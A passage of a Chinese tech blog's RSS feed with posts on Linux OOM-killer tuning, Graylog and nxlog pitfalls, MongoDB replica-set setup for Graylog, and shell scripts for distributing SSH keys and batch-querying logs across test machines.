&lt;p&gt;从上面的 oom_kill.c 代码里可以看到 oom_badness() 给每个进程打分，根据 points 的高低来决定杀哪个进程，这个 points 可以根据 adj 调节，root 权限的进程通常被认为很重要，不应该被轻易杀掉，所以打分的时候可以得到 3% 的优惠（adj -= 30; 分数越低越不容易被杀掉）。我们可以在用户空间通过操作每个进程的 oom_adj 内核参数来决定哪些进程不这么容易被 OOM killer 选中杀掉。比如，如果不想 MySQL 进程被轻易杀掉的话可以找到 MySQL 运行的进程号后，调整 oom_score_adj 为 -15（注意 points 越小越不容易被杀）：范围是从-1000 到 1000,参考&lt;a href=&#34;https://github.com/torvalds/linux/commit/a63d83f427fbce97a6cea0db2e64b0eb8435cd10#include/linux/oom.h&#34;&gt;这里&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>graylog日记管理平台使用的那些坑</title>
      <link>http://blog.leaver.me/2016/12/10/graylog%E6%97%A5%E8%AE%B0%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%E4%BD%BF%E7%94%A8%E7%9A%84%E9%82%A3%E4%BA%9B%E5%9D%91/</link>
      <pubDate>Sat, 10 Dec 2016 18:48:17 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/12/10/graylog%E6%97%A5%E8%AE%B0%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%E4%BD%BF%E7%94%A8%E7%9A%84%E9%82%A3%E4%BA%9B%E5%9D%91/</guid>
      <description>&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;
&lt;p&gt;最近使用 graylog在部署日志平台的时候,踩到很多&amp;quot;坑&amp;quot;,记录一下&lt;/p&gt;
&lt;h2 id=&#34;日志采集nxlog&#34;&gt;日志采集(nxlog)&lt;/h2&gt;
&lt;h3 id=&#34;1客户端不要做太多的正则计算&#34;&gt;1.客户端不要做太多的正则计算&lt;/h3&gt;
&lt;p&gt;graylog 最早推荐的 nxlog 采集客户端,现在貌似有了 beats 的采集方式,不过我没了解,nxlog 采集的话,需要配置Snippets,就是定义输入,输出,处理器的地方,这个地方, Input 模块是在客户端计算的.所以,一定不要进行太多的正则计算.否则会严重影响客户端的 cpu 资源.降低应用程序的性能.&lt;/p&gt;
&lt;h3 id=&#34;2开多行一定要慎重&#34;&gt;2.开多行一定要慎重&lt;/h3&gt;
&lt;p&gt;graylog 可以通过配置&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;Extension multiline&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    Module    xm_multiline
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    HeaderLine    /^\d{0,2}\/\d{0,2}\/\d{0,4}/
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    EndLine    /^\d{0,2}\/\d{0,2}\/\d{0,4}/
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;/Extension&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;Input pcc-esolutions-log&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    Module            im_file
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    File            &amp;#34;*.log&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    SavePos            TRUE
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    InputType    multiline
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;lt;/Input&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;来实现对于类似错误栈这样的信息,将多行采集成一行,但是一定要注意.如果这个正则写错了,或者其他原因,导致,未能正确匹配.会导致 nxlog 客户端占用内存暴涨.原因是为了实现多行采集,会再客户端内存中保存日志内容,直到匹配到行尾.如果未能正确匹配.会一直保存.导致内存泄露.&lt;/p&gt;
&lt;p&gt;这时候一般伴随着nxlog 的客户端日志中开始打印:
&lt;code&gt;2016-12-05 18:36:47 ERROR oversized string, limit is 1048576 bytes&lt;/code&gt;
这样的信息.表示单条日志超过了1m&lt;/p&gt;
&lt;p&gt;最终有一定几率影响客户端应用,被 oom 所杀.不要问我怎么知道的&amp;hellip;&lt;/p&gt;
&lt;h3 id=&#34;3-日志就是太大怎么办&#34;&gt;3 日志就是太大怎么办.&lt;/h3&gt;
&lt;p&gt;貌似没办法..只能在 Input 配置中.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Exec if $raw_event $raw_event = substr($raw_event, 0, 1040000);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;执行类似的来限制,没有尝试过,参考这里:&lt;a href=&#34;https://github.com/cityindex/LogSearchShipper/blob/master/src/LogsearchShipper.Core/NxLog/NxLogProcessManager.cs&#34;&gt;日志大小超长配置&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;服务端处理graylog&#34;&gt;服务端处理(graylog)&lt;/h2&gt;
&lt;h3 id=&#34;1服务端性能不好的情况下也不要做大量正则&#34;&gt;1.服务端性能不好的情况下也不要做大量正则&lt;/h3&gt;
&lt;p&gt;日志处理这部分主要是说 graylog 自身的处理,graylog 是 cpu 密集型的,在收到了 nxlog 经过少量计算的日志后, graylog 其实还提供了 extrator 的功能来解析字段,当时我因为部署了很多应用的日志采集,为了生成一个统一的索引字段,我在extrator写了一个正则,对于所有的消息,根据这个正则找到一个字段,来作为 key(保存成 no), 可能一个流水号,这样我就可以根据 no:xxx 来查询所有相关的日志了.&lt;/p&gt;
&lt;p&gt;结果这个正则写了以后, graylog 处理性能急剧下降.开始大量积压消息.无法发送给后端的 es 来做处理.在 graylog 的管理页面,能明显看到 in 是几千, out 是几百..很快 node 节点就废了.&lt;/p&gt;
&lt;p&gt;参考:&lt;a href=&#34;https://github.com/Graylog2/graylog2-server/issues/1334&#34;&gt;Very slow process message&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果是确定不是 graylog 的问题, output 还是慢,可以尝试&lt;a href=&#34;https://github.com/Graylog2/graylog2-server/issues/2313&#34;&gt;修改输出的并发量来解决&lt;/a&gt;,改改 graylog 配置中的output_batch_size值.&lt;/p&gt;
&lt;h3 id=&#34;2journal如果太多可能导致graylog-状态-dead&#34;&gt;2.journal如果太多,可能导致graylog 状态 dead&lt;/h3&gt;
&lt;p&gt;由于我前面的问题,导致 journal 中保存了太多的日志,这样会导致两个问题,1,启动的时候会尝试吧这些日志全部加载 graylog 服务端的内存中.这时候,如果应用内存不够,直接会启动不了报java 的 oom,&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; 2016-12-04T12:25:36.543+02:00 ERROR [ServiceManager] Service JournalReader [FAILED] has failed in the RUNNING state.
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;java.lang.OutOfMemoryError: Java heap space
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	at java.nio.HeapByteBuffer.&amp;lt;init&amp;gt;(HeapByteBuffer.java:57)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	at java.nio.ByteBuffer.allocate(ByteBuffer.java:331)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	at kafka.log.FileMessageSet$$anon$1.makeNext(FileMessageSet.scala:188)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或者会报一个数组越界的错误.能解决的办法就是删..
还有就是临时加大 graylog的 jvm 内存设置.&lt;/p&gt;</description>
    </item>
    <item>
      <title>graylog中的mongodb配置</title>
      <link>http://blog.leaver.me/2016/11/06/graylog%E4%B8%AD%E7%9A%84mongodb%E9%85%8D%E7%BD%AE/</link>
      <pubDate>Sun, 06 Nov 2016 14:40:03 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/11/06/graylog%E4%B8%AD%E7%9A%84mongodb%E9%85%8D%E7%BD%AE/</guid>
      <description>&lt;p&gt;接手的一个工具平台,发现 graylog 集群使用了单个的 mongodb 作为数据库,于是需要配置一下集群,来防止数据丢失,毕竟很多配置都在里面.&lt;/p&gt;
&lt;p&gt;为了以防万一,先备份一下 graylog 的配置.
&lt;code&gt;mongodump -h dbhost -d dbname -o dbdirectory&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;防止分布式部署的使用搞坏了.之后的恢复可以使用&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mongorestore -h dbhost -d dbname --directoryperdb dbdirectory&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;来恢复.相关说明可以参考&lt;a href=&#34;http://www.runoob.com/mongodb/mongodb-mongodump-mongorestore.html&#34;&gt;这里&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;之后就可以正式开始了&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;修改集群名字&lt;/p&gt;
&lt;p&gt;在/etc/mongod.conf 中,修改这个值.设置集群使用的集群名称是 graylog,几个机器都配置一下.都先不要启动&lt;/p&gt;
&lt;p&gt;replication:
replSetName: graylog&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后添加集群配置&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;启动其中一台,然后通过mongo 命令连接上数据库,依次执行下面的命令.注意,这里有个坑.添加本机的时候,一定要写对外的域名或者 ip.否则会导致无法选主.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; rs.initiate()
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; rs.add(&amp;#34;&amp;lt;hostname&amp;gt;:27017&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; rs.add(&amp;#34;&amp;lt;hostname&amp;gt;:27017&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; rs.add(&amp;#34;&amp;lt;hostname&amp;gt;:27017&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; rs.conf()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;
&lt;p&gt;开始启动&lt;/p&gt;
&lt;p&gt;这里启动就不用说了. &lt;code&gt;service mongod start&lt;/code&gt; 启动就好了.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;配置 graylog 集群连接地址&lt;/p&gt;
&lt;p&gt;在/etc/graylog/server/server.conf 中配置.mongodb_uri = mongodb://host1,host2,host3/graylog&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;后面这个 graylog 就是给 graylog 使用的库名,你可以先创建.&lt;/p&gt;
&lt;p&gt;之后mongodb 就开始自行同步了.&lt;/p&gt;
&lt;p&gt;[参考]&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.jianshu.com/p/2825a66d6aed&#34;&gt;高可用的MongoDB集群&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;​&lt;/p&gt;</description>
    </item>
    <item>
      <title>graylog中的字段解析</title>
      <link>http://blog.leaver.me/2016/10/30/graylog%E4%B8%AD%E7%9A%84%E5%AD%97%E6%AE%B5%E8%A7%A3%E6%9E%90/</link>
      <pubDate>Sun, 30 Oct 2016 14:47:01 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/10/30/graylog%E4%B8%AD%E7%9A%84%E5%AD%97%E6%AE%B5%E8%A7%A3%E6%9E%90/</guid>
      <description>&lt;h2 id=&#34;关于字段解析&#34;&gt;关于字段解析&lt;/h2&gt;
&lt;p&gt;一旦 graylog 用在了一个分布式系统上,那么采集的日志格式多种多样,涉及到通过 rules.drl来解析具体的字段.之前的同学的方案是用&lt;a href=&#34;http://www.jboss.org/drools&#34;&gt;drools&lt;/a&gt; 来完成的.通过一个统一的界面,来给用户生成一些正则规则这种.然后自己写了个转换器转成 Drools 的文件.更新到 graylog 的服务器上.然后重启gralog 应用完成.&lt;/p&gt;
&lt;p&gt;实际上, graylog 2之后的版本提供了rules和 pipeline ,这种不需要重启应用,完成这个解析的动作.但是.注意.这个不完善.所以只支持一些简单的语法,无法实现原有的完全转换.所以放弃.&lt;/p&gt;
&lt;p&gt;在此过程中.这个rules 有一个比较强大的功能,自动解析 key value 对.需要添加,但是,需要你的日志文件格式里的 key value有空格,
也就是要求必须是 key=value 这样,不能紧挨着逗号这样的..比如你的打印日志是 key=value,key2=value2.那么久无法解析了..这个暂时没看到比较好的办法.估计要改代码.如果你恰好符合.那最好了.&lt;/p&gt;</description>
    </item>
    <item>
      <title>mac日志批量查询配置</title>
      <link>http://blog.leaver.me/2016/10/05/mac%E6%97%A5%E5%BF%97%E6%89%B9%E9%87%8F%E6%9F%A5%E8%AF%A2%E9%85%8D%E7%BD%AE/</link>
      <pubDate>Wed, 05 Oct 2016 10:13:05 +0000</pubDate>
      <guid>http://blog.leaver.me/2016/10/05/mac%E6%97%A5%E5%BF%97%E6%89%B9%E9%87%8F%E6%9F%A5%E8%AF%A2%E9%85%8D%E7%BD%AE/</guid>
      <description>&lt;p&gt;由于公司线下机器非常多,导致每次查日志变得非常痛苦.线下的trace平台大部分时候还是可用的.但是有时候需要本机来批量查询.方案就是批量分发ssh key,实现免登.然后luit实现编码转换,这个主要是公司的机器编码有差异.历史原因.&lt;/p&gt;
&lt;h2 id=&#34;0-准备&#34;&gt;0. 准备&lt;/h2&gt;
&lt;p&gt;先要安装pssh,expect,ssh-copy-id.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; brew install pssh
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; brew install homebrew/dupes/expect
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; brew install ssh-copy-id
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;另外安装luit的安装参考这里&lt;a href=&#34;http://www.jianshu.com/p/69382cb499db&#34;&gt;luit安装&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;1-生成ssh-key-并批量copy&#34;&gt;1. 生成ssh key ,并批量copy&lt;/h2&gt;
&lt;p&gt;生成ssh key比较简单.&lt;code&gt;ssh-keygen -t rsa -C &amp;quot;your_email@example.com&amp;quot;&lt;/code&gt;,直接使用git的ssh key也是可以的.然后保存下面这个脚本为pscopy.sh,&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;FILE&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;sb&#34;&gt;`&lt;/span&gt;cat ~/host.txt&lt;span class=&#34;sb&#34;&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; ip in &lt;span class=&#34;nv&#34;&gt;$FILE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;expect -c &lt;span class=&#34;s2&#34;&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;spawn ssh-copy-id &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$ip&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;   expect {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;       \&amp;#34;*yes/no*\&amp;#34; {send \&amp;#34;yes\r\&amp;#34;;exp_continue}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;       \&amp;#34;*password*\&amp;#34; {send \&amp;#34;pass\r\&amp;#34;;exp_continue}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;       \&amp;#34;*password*\&amp;#34; {send \&amp;#34;pass\r\&amp;#34;;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后执行一下sh pscopy.sh,注意,host.txt要保证存在.格式是user@address.一行一个,中间的paas要改成user的密码,这样就会使用指定的用户密码,自动copy ssh key了.
完成上面的步骤之后,ssh user@address 就可以免登了.&lt;/p&gt;
&lt;h2 id=&#34;2-写一个简单的pssh脚本&#34;&gt;2. 写一个简单的pssh脚本&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;encoding&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;command&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;file&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;usage&lt;span class=&#34;o&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Usage: `basename &lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$0&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;` [-f filename]  [-c encoding] [-k keyword]&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;exit&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;getopts&lt;/span&gt; :f:c:k: opt
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;do&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;case&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$opt&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        c&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nv&#34;&gt;encoding&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$OPTARG&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        :&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;-&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$OPTARG&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; needs an argument&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        k&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nv&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$OPTARG&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        f&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nv&#34;&gt;file&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$OPTARG&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        *&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;-&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$opt&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; not recognized&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            usage
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt; -z &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$encoding&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;then&lt;/span&gt;   &lt;span class=&#34;c1&#34;&gt;#该脚本必须提供-d选项&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;encoding&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;gbk&amp;#34;&lt;/span&gt;
